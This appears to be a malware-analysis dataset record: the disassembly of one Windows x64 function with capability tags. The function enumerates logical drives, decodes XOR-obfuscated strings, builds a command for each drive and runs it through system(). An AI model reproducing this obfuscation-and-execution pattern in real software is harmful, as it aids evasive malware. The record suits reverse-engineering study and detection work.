Function at 0x1400053a0
Capabilities:
Encode data using xor
Execute command
Get disk information

Disassembly:
push rbp
push rbx
push rdi
lea rbp, [rsp - 0x2b0]
sub rsp, 0x3b0
xor edx, edx
lea rcx, [rbp + 0x1a0]
mov r8d, 0x104
call sub.VCRUNTIME140.dll_memset
xor edx, edx
lea rcx, [rbp - 0x80]
mov r8d, 0x104
call sub.VCRUNTIME140.dll_memset
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov edi, eax
mov ebx, 0x43
test eax, eax
je 0x140005654
mov qword [rsp + 0x3e0], r14
mov r14d, 0x100
mov qword [rsp + 0x3d8], rsi
test dil, 1
je 0x14000563c
mov dword [rsp + 0x20], 0xf98afffe
xor eax, eax
mov dword [rsp + 0x24], 0x92c483
mov byte [rsp + 0x28], 1
nop dword [rax]
nop dword [rax + rax]
lea ecx, [rax - 0x5e]
xor byte [rsp + rax + 0x20], cl
inc rax
cmp rax, 7
jb 0x140005430
mov r8d, ebx
mov byte [rsp + 0x28], 0
lea rdx, [rsp + 0x20]
lea rcx, [rbp + 0x1a0]
call qword [sym.imp.USER32.dll_wsprintfA]
xor ecx, ecx
mov dword [rbp + 0x2d0], 0x100c087
nop word [rax + rax]
lea eax, [rcx - 0x5e]
xor byte [rbp + rcx + 0x2d0], al
inc rcx
cmp rcx, 2
jb 0x140005470
mov r8d, ebx
mov byte [rbp + 0x2d3], 0
lea rdx, [rbp + 0x2d0]
lea rcx, [rbp - 0x80]
call qword [sym.imp.USER32.dll_wsprintfA]
movdqa xmm0, xmmword [0x140042950]
xor edx, edx
movdqu xmmword [rsp + 0x29], xmm0
mov byte [rsp + 0x39], 1
nop dword [rax]
nop word [rax + rax]
lea eax, [rdx - 0x5e]
xor byte [rsp + rdx + 0x29], al
inc rdx
cmp rdx, 0xf
jb 0x1400054c0
mov rcx, qword [0x14001f2f0]
lea rdx, [rsp + 0x29]
mov byte [rsp + 0x39], 0
call fcn.140004510
mov rcx, rax
lea rdx, [rbp - 0x80]
call fcn.140004510
lea rdx, [0x1400015f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx ecx, word [rsp + 0x4e]
mov eax, 0xcccccccd
movdqa xmm0, xmmword [0x1400429a0]
mul ecx
movdqu xmmword [rsp + 0x29], xmm0
movzx ecx, word [rsp + 0x4c]
add cx, word [rsp + 0x42]
movzx r8d, cx
movzx ecx, word [rsp + 0x48]
shr edx, 3
movzx eax, r14w
imul r8d, eax
movzx eax, r14w
imul ecx, eax
mov byte [rsp + 0x39], 1
add dx, r8w
add dx, word [rsp + 0x46]
add cx, word [rsp + 0x40]
add cx, word [rsp + 0x4a]
movzx eax, cx
shl eax, 0x10
movzx esi, dx
add esi, eax
xor ecx, ecx
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx - 0x5e]
xor byte [rsp + rcx + 0x29], al
inc rcx
cmp rcx, 0xf
jb 0x140005580
mov edx, esi
mov byte [rsp + 0x39], 0
lea rcx, [rsp + 0x29]
call fcn.1400010b0
mov edx, esi
mov ecx, ebx
call fcn.140005180
xor edx, edx
lea rcx, [rbp + 0x90]
mov r8d, 0x104
call sub.VCRUNTIME140.dll_memset
movdqa xmm0, xmmword [0x140044be0]
xor ecx, ecx
movdqa xmm1, xmmword [0x1400450f0]
movdqu xmmword [rsp + 0x50], xmm0
mov dword [rsp + 0x70], 0xa8b6ac
movdqu xmmword [rsp + 0x60], xmm1
mov byte [rsp + 0x74], 1
nop dword [rax]
lea eax, [rcx - 0x5e]
xor byte [rsp + rcx + 0x50], al
inc rcx
cmp rcx, 0x23
jb 0x1400055f0
mov r8d, ebx
mov byte [rsp + 0x74], 0
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0x90]
call fcn.1400019d0
lea rcx, [rbp + 0x90]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, qword [0x14001f2f0]
lea rdx, [0x1400015f0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
inc ebx
shr edi, 1
jne 0x140005403
mov r14, qword [rsp + 0x3e0]
mov rsi, qword [rsp + 0x3d8]
add rsp, 0x3b0
pop rdi
pop rbx
pop rbp
ret